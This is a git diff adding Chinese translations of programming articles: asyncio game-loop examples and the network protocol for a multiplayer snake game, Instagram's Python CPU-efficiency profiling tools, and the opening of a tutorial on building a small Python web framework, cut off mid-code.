+在前一个例子中,在服务器的生命周期内,游戏循环一直运行着。但是现实中,如果没有一个人连接服务器,空运行游戏循环通常是不合理的。而且,同一个服务器上可能有不同的“游戏房间”。在这种假设下,每一个玩家“创建”一个游戏会话(比如说,多人游戏中的一个比赛或者大型多人游戏中的副本),这样其他用户可以加入其中。当游戏会话开始时,游戏循环才开始执行。 + +在这个例子中,我们使用一个全局标记来检测游戏循环是否在执行。当第一个用户发起连接时,启动它。最开始,游戏循环没有执行,标记设置为 `False`。游戏循环是通过客户端的处理方法启动的。 + +``` + if app["game_is_running"] == False: + asyncio.ensure_future(game_loop(app)) +``` + +当 `game_loop()` 运行时,这个标记设置为 `True`;当所有客户端都断开连接时,其又被设置为 `False`。 + +### 例子 3.3:管理任务 + +> [例子3.3源码][8] + +这个例子用来解释如何和任务对象协同工作。我们把游戏循环的任务直接存储在游戏循环的全局字典中,代替标记的使用。在像这样的一个简单例子中并不一定是最优的,但是有时候你可能需要控制所有已经启动的任务。 + +``` + if app["game_loop"] is None or \ + app["game_loop"].cancelled(): + app["game_loop"] = asyncio.ensure_future(game_loop(app)) +``` + +这里 `ensure_future()` 返回我们存放在全局字典中的任务对象,当所有用户都断开连接时,我们使用下面方式取消任务: + +``` + app["game_loop"].cancel() +``` + +这个 `cancel()` 调用将通知调度器不要向这个协程传递执行权,而且将它的状态设置为已取消:`cancelled`,之后可以通过 `cancelled()` 方法来检查是否已取消。这里有一个值得一提的小注意点:当你持有一个任务对象的外部引用时,而这个任务执行中发生了异常,这个异常不会抛出。取而代之的是为这个任务设置一个异常状态,可以通过 `exception()` 方法来检查是否出现了异常。这种悄无声息地失败在调试时不是很有用。所以,你可能想用抛出所有异常来取代这种做法。你可以对所有未完成的任务显式地调用 `result()` 来实现。可以通过如下的回调来实现: + +``` + app["game_loop"].add_done_callback(lambda t: t.result()) +``` + +如果我们打算在我们代码中取消这个任务,但是又不想产生 `CancelError` 异常,有一个检查 `cancelled` 状态的点: + +``` + app["game_loop"].add_done_callback(lambda t: t.result() + if not t.cancelled() else None) +``` + +注意仅当你持有任务对象的引用时才需要这么做。在前一个例子,所有的异常都是没有额外的回调,直接抛出所有异常。 + +### 例子 3.4:等待多个事件 + +> [例子 3.4 源码][9] + +在许多场景下,在客户端的处理方法中你需要等待多个事件的发生。除了来自客户端的消息,你可能需要等待不同类型事件的发生。比如,如果你的游戏时间有限制,那么你可能需要等一个来自定时器的信号。或者你需要使用管道来等待来自其它进程的消息。亦或者是使用分布式消息系统的网络中其它服务器的信息。 + +为了简单起见,这个例子是基于例子 3.1。但是这个例子中我们使用 `Condition` 对象来与已连接的客户端保持游戏循环的同步。我们不保存套接字的全局列表,因为只在该处理方法中使用套接字。当游戏循环停止迭代时,我们使用 `Condition.notify_all()` 方法来通知所有的客户端。这个方法允许在 `asyncio` 的事件循环中使用发布/订阅的模式。 + +为了等待这两个事件,首先我们使用 `ensure_future()` 来封装任务中这个可等待对象。 + +``` + if not recv_task: + recv_task = asyncio.ensure_future(ws.receive()) + if not tick_task: + await tick.acquire() + tick_task = asyncio.ensure_future(tick.wait()) +``` + +在我们调用 `Condition.wait()` 之前,我们需要在它后面获取一把锁。这就是我们为什么先调用 `tick.acquire()` 的原因。在调用 `tick.wait()` 之后,锁会被释放,这样其他的协程也可以使用它。但是当我们收到通知时,会重新获取锁,所以在收到通知后需要调用 `tick.release()` 来释放它。 + +我们使用 `asyncio.wait()` 协程来等待两个任务。 + +``` + done, pending = await asyncio.wait( + [recv_task, + tick_task], + return_when=asyncio.FIRST_COMPLETED) +``` + +程序会阻塞,直到列表中的任意一个任务完成。然后它返回两个列表:执行完成的任务列表和仍然在执行的任务列表。如果任务执行完成了,其对应变量赋值为 `None`,所以在下一个迭代时,它可能会被再次创建。 + +### 例子 3.5: 结合多个线程 + +> [例子 3.5 源码][10] + +在这个例子中,我们结合 `asyncio` 循环和线程,在一个单独的线程中执行主游戏循环。我之前提到过,由于 `GIL` 的存在,Python 代码的真正并行执行是不可能的。所以使用其它线程来执行复杂计算并不是一个好主意。然而,在使用 `asyncio` 时结合线程有原因的:当我们使用的其它库不支持 `asyncio` 时就需要。在主线程中调用这些库会阻塞循环的执行,所以异步使用他们的唯一方法是在不同的线程中使用他们。 + +我们使用 `asyncio` 循环的`run_in_executor()` 方法和 `ThreadPoolExecutor` 来执行游戏循环。注意 `game_loop()` 已经不再是一个协程了。它是一个由其它线程执行的函数。然而我们需要和主线程交互,在游戏事件到来时通知客户端。`asyncio` 本身不是线程安全的,它提供了可以在其它线程中执行你的代码的方法。普通函数有 `call_soon_threadsafe()`,协程有 `run_coroutine_threadsafe()`。我们在 `notify()` 协程中增加了通知客户端游戏的嘀嗒的代码,然后通过另外一个线程执行主事件循环。 + +``` +def game_loop(asyncio_loop): + print("Game loop thread id {}".format(threading.get_ident())) + async def notify(): + print("Notify thread id {}".format(threading.get_ident())) + await tick.acquire() + tick.notify_all() + tick.release() + + while 1: + task = asyncio.run_coroutine_threadsafe(notify(), asyncio_loop) + # blocking the thread + sleep(1) + # make sure the task has finished + task.result() +``` + +当你执行这个例子时,你会看到 “Notify thread id” 和 “Main thread id” 相等,因为 `notify()` 协程在主线程中执行。与此同时 `sleep(1)` 在另外一个线程中执行,因此它不会阻塞主事件循环。 + +### 例子 3.6:多进程和扩展 + +> [例子 3.6 源码][11] + +单线程的服务器可能运行得很好,但是它只能使用一个 CPU 核。为了将服务扩展到多核,我们需要执行多个进程,每个进程执行各自的事件循环。这样我们需要在进程间交互信息或者共享游戏的数据。而且在一个游戏中经常需要进行复杂的计算,例如路径查找之类。这些任务有时候在一个游戏嘀嗒中没法快速完成。在协程中不推荐进行费时的计算,因为它会阻塞事件的处理。在这种情况下,将这个复杂任务交给其它并行执行的进程可能更合理。 + +最简单的使用多个核的方法是启动多个使用单核的服务器,就像之前的例子中一样,每个服务器占用不同的端口。你可以使用 `supervisord` 或者其它进程控制的系统。这个时候你需要一个像 `HAProxy` 这样的负载均衡器,使得连接的客户端分布在多个进程间。已经有一些可以连接 asyncio 和一些流行的消息及存储系统的适配系统。例如: + +- [aiomcache][12] 用于 memcached 客户端 +- [aiozmq][13] 用于 zeroMQ +- [aioredis][14] 用于 Redis 存储,支持发布/订阅 + +你可以在 github 或者 pypi 上找到其它的软件包,大部分以 `aio` 开头。 + +使用网络服务在存储持久状态和交换某些信息时可能比较有效。但是如果你需要进行进程间通信的实时处理,它的性能可能不足。此时,使用标准的 unix 管道可能更合适。`asyncio` 支持管道,在`aiohttp`仓库有个 [使用管道的服务器的非常底层的例子][15]。 + +在当前的例子中,我们使用 Python 的高层类库 [multiprocessing][16] 来在不同的核上启动复杂的计算,使用 `multiprocessing.Queue` 来进行进程间的消息交互。不幸的是,当前的 `multiprocessing` 实现与 `asyncio` 不兼容。所以每一个阻塞方法的调用都会阻塞事件循环。但是此时线程正好可以起到帮助作用,因为如果在不同线程里面执行 `multiprocessing` 的代码,它就不会阻塞主线程。所有我们需要做的就是把所有进程间的通信放到另外一个线程中去。这个例子会解释如何使用这个方法。和上面的多线程例子非常类似,但是我们从线程中创建的是一个新的进程。 + +``` +def game_loop(asyncio_loop): + # coroutine to run in main thread + async def notify(): + await tick.acquire() + tick.notify_all() + tick.release() + + queue = Queue() + + # function to run in a different process + def worker(): + while 1: + print("doing heavy calculation in process {}".format(os.getpid())) + sleep(1) + queue.put("calculation result") + + Process(target=worker).start() + + while 1: + # blocks this thread but not main thread with event loop + result = queue.get() + print("getting {} in process {}".format(result, os.getpid())) + task = asyncio.run_coroutine_threadsafe(notify(), asyncio_loop) + task.result() +``` + +这里我们在另外一个进程中运行 `worker()` 函数。它包括一个执行复杂计算并把计算结果放到 `queue` 中的循环,这个 `queue` 是 `multiprocessing.Queue` 的实例。然后我们就可以在另外一个线程的主事件循环中获取结果并通知客户端,就和例子 3.5 一样。这个例子已经非常简化了,它没有合理的结束进程。而且在真实的游戏中,我们可能需要另外一个队列来将数据传递给 `worker`。 + +有一个项目叫 [aioprocessing][17],它封装了 `multiprocessing`,使得它可以和 `asyncio` 兼容。但是实际上它只是和上面例子使用了完全一样的方法:从线程中创建进程。它并没有给你带来任何方便,除了它使用了简单的接口隐藏了后面的这些技巧。希望在 Python 的下一个版本中,我们能有一个基于协程且支持 `asyncio` 的 `multiprocessing` 库。 + +> 注意!如果你从主线程或者主进程中创建了一个不同的线程或者子进程来运行另外一个 `asyncio` 事件循环,你需要显式地使用 `asyncio.new_event_loop()` 来创建循环,不然的话可能程序不会正常工作。 + +-------------------------------------------------------------------------------- + +via: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-and-asyncio-writing-game-loop/ + +作者:[Kyrylo Subbotin][a] +译者:[chunyang-wen](https://github.com/chunyang-wen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-and-asyncio-writing-game-loop/ +[1]: http://snakepit-game.com/ +[2]: https://linux.cn/article-7767-1.html +[3]: http://snakepit-game.com/ +[4]: https://github.com/7WebPages/snakepit-game/blob/master/simple/index.html +[5]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_basic.py +[6]: http://aiohttp.readthedocs.org/ +[7]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_handler.py +[8]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_global.py +[9]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_wait.py +[10]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_thread.py +[11]: https://github.com/7WebPages/snakepit-game/blob/master/simple/game_loop_process.py +[12]: https://github.com/aio-libs/aiomcache +[13]: https://github.com/aio-libs/aiozmq +[14]: https://github.com/aio-libs/aioredis +[15]: https://github.com/KeepSafe/aiohttp/blob/master/examples/mpsrv.py +[16]: https://docs.python.org/3.5/library/multiprocessing.html +[17]: https://github.com/dano/aioprocessing diff --git a/published/201609/20160602 Web Service Efficiency at Instagram with Python.md b/published/201609/20160602 Web Service Efficiency at Instagram with Python.md new file mode 100644 index 0000000000..dca756bb44 --- /dev/null +++ b/published/201609/20160602 Web Service Efficiency at Instagram with Python.md @@ -0,0 +1,76 @@ +Instagram 基于 Python 语言的 Web Service 效率提升之道 +=============================================== + +Instagram 目前部署了世界上最大规模的 Django Web 框架(该框架完全使用 Python 编写)。我们最初选用 Python 是因为它久负盛名的简洁性与实用性,这非常符合我们的哲学思想——“先做简单的事情”。但简洁性也会带来效率方面的折衷。Instagram 的规模在过去两年中已经翻番,并且最近已突破 5 亿用户,所以急需最大程度地提升 web 服务效率以便我们的平台能够继续顺利地扩大。在过去的一年,我们已经将效率计划(efficiency program)提上日程,并在过去的六个月,我们已经能够做到无需向我们的 Django 层(Django tiers)添加新的容量来维持我们的用户增长。我们将在本文分享一些由我们构建的工具以及如何使用它们来优化我们的日常部署流程。 + +### 为何需要提升效率? + +Instagram,正如所有的软件,受限于像服务器和数据中心能源这样的物理限制。鉴于这些限制,在我们的效率计划中有两个我们希望实现的主要目标: + +1. Instagram 应当能够利用持续代码发布正常地提供通信服务,防止因为自然灾害、区域性网络问题等造成某一个数据中心区丢失。 +2. Instagram 应当能够自由地滚动发布新产品和新功能,不必因容量而受阻。 + +想要实现这些目标,我们意识到我们需要持续不断地监控我们的系统并与回归(regressions)进行战斗。 + +### 定义效率 + +Web services 的瓶颈通常在于每台服务器上可用的 CPU 时间。在这种环境下,效率就意味着利用相同的 CPU 资源完成更多的任务,也就是说,每秒处理更多的用户请求(requests per second, RPS)。当我们寻找优化方法时,我们面临的第一个最大的挑战就是尝试量化我们当前的效率。到目前为止,我们一直在使用“每次请求的平均 CPU 时间”来评估效率,但使用这种指标也有其固有限制: + +1. **设备多样性**。使用 CPU 时间来测量 CPU 资源并非理想方案,因为它同时受到 CPU 型号与 CPU 负载的影响。 +2. **请求影响数据**。测量每次请求的 CPU 资源并非理想方案,因为在使用每次请求测量(per-request measurement)方案时,添加或移除轻量级或重量级的请求也会影响到效率指标。 + +相对于 CPU 时间来说,CPU 指令是一种更好的指标,因为对于相同的请求,它会报告相同的数字,不管 CPU 型号和 CPU 负载情况如何。我们选择使用了一种叫做“每个活动用户(per active user)”的指标,而不是将我们所有的数据关联到每个用户请求上。我们最终采用“每个活动用户在高峰期间的 CPU 指令(CPU instruction per active user during peak minute)”来测量效率。我们建立好新的度量标准后,下一步就是通过对 Django 的分析来更多的了解一下我们的回归。 + +### Django web services 分析 + +通过分析我们的 Django web services,我们希望回答两个主要问题: + +1. CPU 回归会发生吗? +2. 是什么导致了 CPU 回归发生以及我们该怎样修复它? + +想要回答第一个问题,我们需要追踪”每个活动用户的 CPU 指令(CPU-instruction-per-active-user)“指标。如果该指标增加,我们就知道已经发生了一次 CPU 回归。 + +我们为此构建的工具叫做 Dynostats。Dynostats 利用 Django 中间件以一定的速率采样用户请求,记录关键的效率以及性能指标,例如 CPU 总指令数、端到端请求时延、花费在访问内存缓存(memcache)和数据库服务的时间等。另一方面,每个请求都有很多可用于聚合的元数据(metadata),例如端点名称、HTTP 请求返回码、服务该请求的服务器名称以及请求中最新提交的哈希值(hash)。对于单个请求记录来说,有两个方面非常强大,因为我们可以在不同的维度上进行切割,那将帮助我们减少任何导致 CPU 回归的原因。例如,我们可以根据它们的端点名称聚合所有请求,正如下面的时间序列图所示,从图中可以清晰地看出在特定端点上是否发生了回归。 + +![](https://d262ilb51hltx0.cloudfront.net/max/800/1*3iouYiAchYBwzF-v0bALMw.png) + +CPU 指令对测量效率很重要——当然,它们也很难获得。Python 并没有支持直接访问 CPU 硬件计数器(CPU 硬件计数器是指可编程 CPU 寄存器,用于测量性能指标,例如 CPU 指令)的公共库。另一方面,Linux 内核提供了 `perf_event_open` 系统调用。通过 Python `ctypes` 桥接技术能够让我们调用标准 C 库的系统调用函数 `syscall`,它也为我们提供了兼容 C 的数据类型,从而可以编程硬件计数器并从它们读取数据。 + +使用 Dynostats,我们已经可以找出 CPU 回归,并探究 CPU 回归发生的原因,例如哪个端点受到的影响最多,谁提交了真正会导致 CPU 回归的变更等。然而,当开发者收到他们的变更已经导致一次 CPU 回归发生的通知时,他们通常难以找出问题所在。如果问题很明显,那么回归可能就不会一开始就被提交! + +这就是为何我们需要一个 Python 分析器,(一旦 Dynostats 发现了它)从而使开发者能够使用它找出回归发生的根本原因。不同于白手起家,我们决定对一个现成的 Python 分析器 cProfile 做适当的修改。cProfile 模块通常会提供一个统计集合来描述程序不同的部分执行时间和执行频率。我们将 cProfile 的定时器(timer)替换成了一个从硬件计数器读取的 CPU 指令计数器,以此取代对时间的测量。我们在采样请求后产生数据并把数据发送到数据流水线。我们也会发送一些我们在 Dynostats 所拥有的类似元数据,例如服务器名称、集群、区域、端点名称等。 + +在数据流水线的另一边,我们创建了一个消费数据的尾随者(tailer)。尾随者的主要功能是解析 cProfile 的统计数据并创建能够表示 Python 函数级别的 CPU 指令的实体。如此,我们能够通过 Python 函数来聚合 CPU 指令,从而更加方便地找出是什么函数导致了 CPU 回归。 + +### 监控与警报机制 + +在 Instagram,我们[每天部署 30-50 次后端服务][1]。这些部署中的任何一个都能发生 CPU 回归的问题。因为每次发生通常都包含至少一个差异(diff),所以找出任何回归是很容易的。我们的效率监控机制包括在每次发布前后都会在 Dynostats 中扫描 CPU 指令,并且当变更超出某个阈值时发出警告。对于长期会发生 CPU 回归的情况,我们也有一个探测器为负载最繁重的端点提供日常和每周的变更扫描。 + +部署新的变更并非触发一次 CPU 回归的唯一情况。在许多情况下,新的功能和新的代码路径都由全局环境变量(global environment variables,GEV)控制。 在一个计划好的时间表上,给一部分用户发布新功能是很常见事情。我们在 Dynostats 和 cProfile 统计数据中为每个请求添加了这个信息作为额外的元数据字段。按这些字段将请求分组可以找出由全局环境变量(GEV)改变导致的可能的 CPU 回归问题。这让我们能够在它们对性能造成影响前就捕获到 CPU 回归。 + +### 接下来是什么? + +Dynostats 和我们定制的 cProfile,以及我们建立的支持它们的监控和警报机制能够有效地找出大多数导致 CPU 回归的元凶。这些进展已经帮助我们恢复了超过 50% 的不必要的 CPU 回归,否则我们就根本不会知道。 + +我们仍然还有一些可以提升的方面,并很容易将它们地加入到 Instagram 的日常部署流程中: + +1. CPU 指令指标应该要比其它指标如 CPU 时间更加稳定,但我们仍然观察了让我们头疼的差异。保持“信噪比(signal:noise ratio)”合理地低是非常重要的,这样开发者们就可以集中于真实的回归上。这可以通过引入置信区间(confidence intervals)的概念来提升,并在信噪比过高时发出警报。针对不同的端点,变化的阈值也可以设置为不同值。 +2. 通过更改 GEV 来探测 CPU 回归的一个限制就是我们要在 Dynostats 中手动启用这些比较的日志输出。当 GEV 的数量逐渐增加,开发了越来越多的功能,这就不便于扩展了。相反,我们能够利用一个自动化框架来调度这些比较的日志输出,并对所有的 GEV 进行遍历,然后当检查到回归时就发出警告。 +3. cProfile 需要一些增强以便更好地处理封装函数以及它们的子函数。 + +鉴于我们在为 Instagram 的 web service 构建效率框架中所投入的工作,所以我们对于将来使用 Python 继续扩展我们的服务很有信心。我们也开始向 Python 语言本身投入更多,并且开始探索从 Python 2 转移 Python 3 之道。我们将会继续探索并做更多的实验以继续提升基础设施与开发者效率,我们期待着很快能够分享更多的经验。 + +本文作者 Min Ni 是 Instagram 的软件工程师。 + +-------------------------------------------------------------------------------- + +via: https://engineering.instagram.com/web-service-efficiency-at-instagram-with-python-4976d078e366#.tiakuoi4p + +作者:[Min Ni][a] +译者:[ChrisLeeGit](https://github.com/chrisleegit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://engineering.instagram.com/@InstagramEng?source=post_header_lockup +[1]: https://engineering.instagram.com/continuous-deployment-at-instagram-1e18548f01d1#.p5adp7kcz diff --git a/published/201609/20160606 Writing online multiplayer game with python and asyncio - part 3.md b/published/201609/20160606 Writing online multiplayer game with python and asyncio - part 3.md new file mode 100644 index 0000000000..297e0a34b2 --- /dev/null +++ b/published/201609/20160606 Writing online multiplayer game with python and asyncio - part 3.md @@ -0,0 +1,134 @@ +使用 Python 和 Asyncio 来编写在线多人游戏(三) +================================================================= + +![](https://7webpages.com/media/cache/17/81/178135a6db5074c72a1394d31774c658.gif) + +> 在这个系列中,我们基于多人游戏 [贪吃蛇][1] 来制作一个异步的 Python 程序。上一篇文章聚焦于[编写游戏循环][2]上,而本系列第 1 部分则涵盖了如何[异步化][3]。 + +- 代码戳[这里][4] + +### 4、制作一个完整的游戏 + +![](https://7webpages.com/static/img/14chs7.gif) + +#### 4.1 工程概览 + +在此部分,我们将回顾一个完整在线游戏的设计。这是一个经典的贪吃蛇游戏,增加了多玩家支持。你可以自己在 () 亲自试玩。源码在 GitHub 的这个[仓库][5]。游戏包括下列文件: + +- [server.py][6] - 处理主游戏循环和连接。 +- [game.py][7] - 主要的 `Game` 类。实现游戏的逻辑和游戏的大部分通信协议。 +- [player.py][8] - `Player` 类,包括每一个独立玩家的数据和蛇的展现。这个类负责获取玩家的输入并相应地移动蛇。 +- [datatypes.py][9] - 基本数据结构。 +- [settings.py][10] - 游戏设置,在注释中有相关的说明。 +- [index.html][11] - 客户端所有的 html 和 javascript代码都放在一个文件中。 + +#### 4.2 游戏循环内窥 + +多人的贪吃蛇游戏是个用于学习十分好的例子,因为它简单。所有的蛇在每个帧中移动到一个位置,而且帧以非常低的频率进行变化,这样就可以让你就观察到游戏引擎到底是如何工作的。因为速度慢,对于玩家的按键不会立马响应。按键先是记录下来,然后在一个游戏循环迭代的最后计算下一帧时使用。 + +> 现代的动作游戏帧频率更高,而且通常服务端和客户端的帧频率是不相等的。客户端的帧频率通常依赖于客户端的硬件性能,而服务端的帧频率则是固定的。一个客户端可能根据一个游戏“嘀嗒”的数据渲染多个帧。这样就可以创建平滑的动画,这个受限于客户端的性能。在这个例子中,服务端不仅传输物体的当前位置,也要传输它们的移动方向、速度和加速度。客户端的帧频率称之为 FPS(每秒帧数:frames per second),服务端的帧频率称之为 TPS(每秒滴答数:ticks per second)。在这个贪吃蛇游戏的例子中,二者的值是相等的,在客户端显示的一帧是在服务端的一个“嘀嗒”内计算出来的。 + +我们使用类似文本模式的游戏区域,事实上是 html 表格中的一个字符宽的小格。游戏中的所有对象都是通过表格中的不同颜色字符来表示。大部分时候,客户端将按键的码发送至服务端,然后每个“滴答”更新游戏区域。服务端一次更新包括需要更新字符的坐标和颜色。所以我们将所有游戏逻辑放置在服务端,只将需要渲染的数据发送给客户端。此外,我们通过替换通过网络发送的数据来减少游戏被破解的概率。 + +#### 4.3 它是如何运行的? + +这个游戏中的服务端出于简化的目的,它和例子 3.2 类似。但是我们用一个所有服务端都可访问的 `Game` 对象来代替之前保存了所有已连接 websocket 的全局列表。一个 `Game` 实例包括一个表示连接到此游戏的玩家的 `Player` 对象的列表(在 `self._players` 属性里面),以及他们的个人数据和 websocket 对象。将所有游戏相关的数据存储在一个 `Game` 对象中,会方便我们增加多个游戏房间这个功能——如果我们要增加这个功能的话。这样,我们维护多个 `Game` 对象,每个游戏开始时创建一个。 + +客户端和服务端的所有交互都是通过编码成 json 的消息来完成。来自客户端的消息仅包含玩家所按下键码对应的编号。其它来自客户端消息使用如下格式: + +``` +[command, arg1, arg2, ... argN ] +``` + +来自服务端的消息以列表的形式发送,因为通常一次要发送多个消息 (大多数情况下是渲染的数据): + +``` +[[command, arg1, arg2, ... argN ], ... ] +``` + +在每次游戏循环迭代的最后会计算下一帧,并且将数据发送给所有的客户端。当然,每次不是发送完整的帧,而是发送两帧之间的变化列表。 + +注意玩家连接上服务端后不是立马加入游戏。连接开始时是观望者(spectator)模式,玩家可以观察其它玩家如何玩游戏。如果游戏已经开始或者上一个游戏会话已经在屏幕上显示 “game over” (游戏结束),用户此时可以按下 “Join”(参与),来加入一个已经存在的游戏,或者如果游戏没有运行(没有其它玩家)则创建一个新的游戏。后一种情况下,游戏区域在开始前会被先清空。 + +游戏区域存储在 `Game._field` 这个属性中,它是由嵌套列表组成的二维数组,用于内部存储游戏区域的状态。数组中的每一个元素表示区域中的一个小格,最终小格会被渲染成 html 表格的格子。它有一个 `Char` 的类型,是一个 `namedtuple` ,包括一个字符和颜色。在所有连接的客户端之间保证游戏区域的同步很重要,所以所有游戏区域的更新都必须依据发送到客户端的相应的信息。这是通过 `Game.apply_render()` 来实现的。它接受一个 `Draw` 对象的列表,其用于内部更新游戏区域和发送渲染消息给客户端。 + +> 我们使用 `namedtuple` 不仅因为它表示简单数据结构很方便,也因为用它生成 json 格式的消息时相对于 `dict` 更省空间。如果你在一个真实的游戏循环中需要发送复杂的数据结构,建议先将它们序列化成一个简单的、更短的格式,甚至打包成二进制格式(例如 bson,而不是 json),以减少网络传输。 + +`Player` 对象包括用 `deque` 对象表示的蛇。这种数据类型和 `list` 相似,但是在两端增加和删除元素时效率更高,用它来表示蛇很理想。它的主要方法是 `Player.render_move()`,它返回移动玩家的蛇至下一个位置的渲染数据。一般来说它在新的位置渲染蛇的头部,移除上一帧中表示蛇的尾巴的元素。如果蛇吃了一个数字变长了,在相应的多个帧中尾巴是不需要移动的。蛇的渲染数据在主类的 `Game.next_frame()` 中使用,该方法中实现所有的游戏逻辑。这个方法渲染所有蛇的移动,检查每一个蛇前面的障碍物,而且生成数字和“石头”。每一个“嘀嗒”,`game_loop()` 都会直接调用它来生成下一帧。 + +如果蛇头前面有障碍物,在 `Game.next_frame()` 中会调用 `Game.game_over()`。它后通知所有的客户端那个蛇死掉了 (会调用 `player.render_game_over()` 方法将其变成石头),然后更新表中的分数排行榜。`Player` 对象的 `alive` 标记被置为 `False`,当渲染下一帧时,这个玩家会被跳过,除非他重新加入游戏。当没有蛇存活时,游戏区域会显示 “game over” (游戏结束)。而且,主游戏循环会停止,设置 `game.running` 标记为 `False`。当某个玩家下次按下 “Join” (加入)时,游戏区域会被清空。 + +在渲染游戏的每个下一帧时也会产生数字和石头,它们是由随机值决定的。产生数字或者石头的概率可以在 `settings.py` 中修改成其它值。注意数字的产生是针对游戏区域每一个活的蛇的,所以蛇越多,产生的数字就越多,这样它们都有足够的食物来吃掉。 + +#### 4.4 网络协议 + +从客户端发送消息的列表: + +命令 | 参数 |描述 +:-- |:-- |:-- +new_player | [name] |设置玩家的昵称 +join | |玩家加入游戏 + + +从服务端发送消息的列表: + +命令 | 参数 |描述 +:-- |:-- |:-- +handshake |[id] |给一个玩家指定 ID +world |[[(char, color), ...], ...] |初始化游戏区域(世界地图) +reset_world | |清除实际地图,替换所有字符为空格 +render |[x, y, char, color] |在某个位置显示字符 +p_joined |[id, name, color, score] |新玩家加入游戏 +p_gameover |[id] |某个玩家游戏结束 +p_score |[id, score] |给某个玩家计分 +top_scores |[[name, score, color], ...] |更新排行榜 + +典型的消息交换顺序: + +客户端 -> 服务端 |服务端 -> 客户端 |服务端 -> 所有客户端 |备注 +:-- |:-- |:-- |:-- +new_player | | |名字传递给服务端 + |handshake | |指定 ID + |world | |初始化传递的世界地图 + |top_scores | |收到传递的排行榜 +join | | |玩家按下“Join”,游戏循环开始 + | |reset_world |命令客户端清除游戏区域 + | |render, render, ... |第一个游戏“滴答”,渲染第一帧 +(key code) | | |玩家按下一个键 + | |render, render, ... |渲染第二帧 + | |p_score |蛇吃掉了一个数字 + | |render, render, ... |渲染第三帧 + | | |... 重复若干帧 ... + | |p_gameover |试着吃掉障碍物时蛇死掉了 + | |top_scores |更新排行榜(如果需要更新的话) + +### 5. 总结 + +说实话,我十分享受 Python 最新的异步特性。新的语法做了改善,所以异步代码很容易阅读。可以明显看出哪些调用是非阻塞的,什么时候发生 greenthread 的切换。所以现在我可以宣称 Python 是异步编程的好工具。 + +SnakePit 在 7WebPages 团队中非常受欢迎。如果你在公司想休息一下,不要忘记给我们在 [Twitter][12] 或者 [Facebook][13] 留下反馈。 + +-------------------------------------------------------------------------------- + +via: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-and-asyncio-part-3/ + +作者:[Kyrylo Subbotin][a] +译者:[chunyang-wen](https://github.com/chunyang-wen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://7webpages.com/blog/writing-online-multiplayer-game-with-python-and-asyncio-part-3/ +[1]: http://snakepit-game.com/ +[2]: https://linux.cn/article-7784-1.html +[3]: https://linux.cn/article-7767-1.html +[4]: https://github.com/7WebPages/snakepit-game +[5]: https://github.com/7WebPages/snakepit-game +[6]: https://github.com/7WebPages/snakepit-game/blob/master/server.py +[7]: https://github.com/7WebPages/snakepit-game/blob/master/game.py +[8]: https://github.com/7WebPages/snakepit-game/blob/master/player.py +[9]: https://github.com/7WebPages/snakepit-game/blob/master/datatypes.py +[10]: https://github.com/7WebPages/snakepit-game/blob/master/settings.py +[11]: https://github.com/7WebPages/snakepit-game/blob/master/index.html +[12]: https://twitter.com/7WebPages +[13]: https://www.facebook.com/7WebPages/ diff --git a/published/201609/20160608 Simple Python Framework from Scratch.md b/published/201609/20160608 Simple Python Framework from Scratch.md new file mode 100644 index 0000000000..c7f9174dd6 --- /dev/null +++ b/published/201609/20160608 Simple Python Framework from Scratch.md @@ -0,0 +1,464 @@ +从零构建一个简单的 Python 框架 +=================================== + +为什么你想要自己构建一个 web 框架呢?我想,原因有以下几点: + +- 你有一个新奇的想法,觉得将会取代其他的框架 +- 你想要获得一些名气 +- 你遇到的问题很独特,以至于现有的框架不太合适 +- 你对 web 框架是如何工作的很感兴趣,因为你想要成为一位更好的 web 开发者。 + +接下来的笔墨将着重于最后一点。这篇文章旨在通过对设计和实现过程一步一步的阐述告诉读者,我在完成一个小型的服务器和框架之后学到了什么。你可以在这个[代码仓库][1]中找到这个项目的完整代码。 + +我希望这篇文章可以鼓励更多的人来尝试,因为这确实很有趣。它让我知道了 web 应用是如何工作的,而且这比我想的要容易的多! + +### 范围 + +框架可以处理请求-响应周期、身份认证、数据库访问、模板生成等部分工作。Web 开发者使用框架是因为,大多数的 web 应用拥有大量相同的功能,而对每个项目都重新实现同样的功能意义不大。 + +比较大的的框架如 Rails 和 Django 实现了高层次的抽象,或者说“自备电池”(“batteries-included”,这是 Python 的口号之一,意即所有功能都自足。)。而实现所有的这些功能可能要花费数千小时,因此在这个项目上,我们重点完成其中的一小部分。在开始写代码前,我先列举一下所需的功能以及限制。 + +功能: + +- 处理 HTTP 的 GET 和 POST 请求。你可以在[这篇 wiki][2] 中对 HTTP 有个大致的了解。 +- 实现异步操作(我*喜欢* Python 3 的 asyncio 模块)。 +- 简单的路由逻辑以及参数撷取。 +- 像其他微型框架一样,提供一个简单的用户级 API 。 +- 支持身份认证,因为学会这个很酷啊(微笑)。 + +限制: + +- 将只支持 HTTP 1.1 的一个小子集,不支持传输编码(transfer-encoding)、HTTP 认证(http-auth)、内容编码(content-encoding,如 gzip)以及[持久化连接][3]等功能。 +- 不支持对响应内容的 MIME 判断 - 用户需要手动指定。 +- 不支持 WSGI - 仅能处理简单的 TCP 连接。 +- 不支持数据库。 + +我觉得一个小的用例可以让上述内容更加具体,也可以用来演示这个框架的 API: + +``` +from diy_framework import App, Router +from diy_framework.http_utils import Response + + +# GET simple route +async def home(r): + rsp = Response() + rsp.set_header('Content-Type', 'text/html') + rsp.body = 'test' + return rsp + + +# GET route + params +async def welcome(r, name): + return "Welcome {}".format(name) + +# POST route + body param +async def parse_form(r): + if r.method == 'GET': + return 'form' + else: + name = r.body.get('name', '')[0] + password = r.body.get('password', '')[0] + + return "{0}:{1}".format(name, password) + +# application = router + http server +router = Router() +router.add_routes({ + r'/welcome/{name}': 